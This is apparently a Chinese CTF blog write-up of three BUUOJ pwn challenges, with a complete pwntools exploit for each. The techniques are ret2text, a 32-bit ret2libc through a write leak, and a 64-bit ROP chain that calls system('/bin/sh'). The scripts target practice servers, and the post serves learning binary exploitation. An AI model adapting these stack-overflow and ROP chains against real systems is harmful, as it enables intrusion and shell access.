get_started_3dsctf_2016
一开始以为是ret2text板子题(那么大个get_flag
函数)。照板子写,打远程,没回显,报错。检查发现函数的返回方式不是leave retn
而是retn
,遂将fake_ebp的padding去除。没打通。翻网上的题解,发现有师傅提到这题的远程只有程序能正常退出的时候才有回显(确实是老题了,这几年的新题不会这么离谱😅)。遂将get_flag
函数的返回地址设置为elf.sym["exit"]
。get_flag
函数开头有一个if判断:
原始思路是直接ret2text的时候越过if判断,注意到汇编中此函数在retn
前有pop esi
,函数开头有push esi
,想法是把栈构造成下面这样:
stack_overflow_padding 0x38 |
ret2txet_addr(after elf.sym[“get_flag”]) |
fake_pop_esi |
elf.sym[“exit”] |
不知为何打不通。老老实实过if判断:
stack_overflow_padding 0x38 |
elf.sym[“get_flag”] |
elf.sym[“exit”] |
get_flag arg1 0x308CD64F |
get_flag arg2 0x195719D1 |
最后exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import *
context.log_level = "debug" context.arch = "i386" elf = ELF("./get_started_3dsctf_2016")
p = remote("node4.buuoj.cn", 27999) sleep(1) p.send( b"a" * 0x38 + p32(elf.sym["get_flag"]) + p32(elf.sym["exit"]) + p32(0x308CD64F) + p32(0x195719D1) ) p.interactive()
|
[OGeek2019]babyrop
32位ret2libc,write
泄露,这题因为send
和sendline
的原因卡了好久,下次写脚本准备先无脑上sendline
了
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import *
context.log_level = "debug" context.arch = "i386"
p = remote("node4.buuoj.cn", 26926) elf = ELF("./pwn") libc = ELF("./libc-2.23.so") p.sendline(b"\x00" + b"\xff" * 7) p.recvuntil(b"Correct\n") p.sendline( b"a" * (0xE7 + 4) + p32(elf.plt["write"]) + p32(0x08048825) + p32(1) + p32(elf.got["write"]) + p32(4) ) write_addr = u32(p.recv(4)) libc_base = write_addr - libc.sym["write"] system_addr = libc_base + libc.sym["system"] binsh_addr = libc_base + libc.search(b"/bin/sh").__next__() p.sendline(b"\x00" + b"\xff" * 7) p.recvuntil(b"Correct\n") p.sendline(b"a" * (0xE7 + 4) + p32(system_addr) + p32(0xDEADBEEF) + p32(binsh_addr)) p.interactive()
|
[HarekazeCTF2019]baby_rop
64位rop板子题。注意程序里有/bin/sh
字符串,可以在ida的strings页面找到。远程flag的位置很怪啊,学习了一下find
命令。不知道为什么远程交互的时候过没几秒没操作就会eof
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import *
context.log_level = "debug" context.arch = "amd64"
p = remote("node4.buuoj.cn", 26515) elf = ELF("./babyrop") pop_rdi = 0x400683 p.sendlineafter( b"What's your name? ", b"A" * 0x10 + b"B" * 8 + p64(pop_rdi) + p64(elf.sym["binsh"]) + p64(elf.plt["system"]), ) p.interactive()
|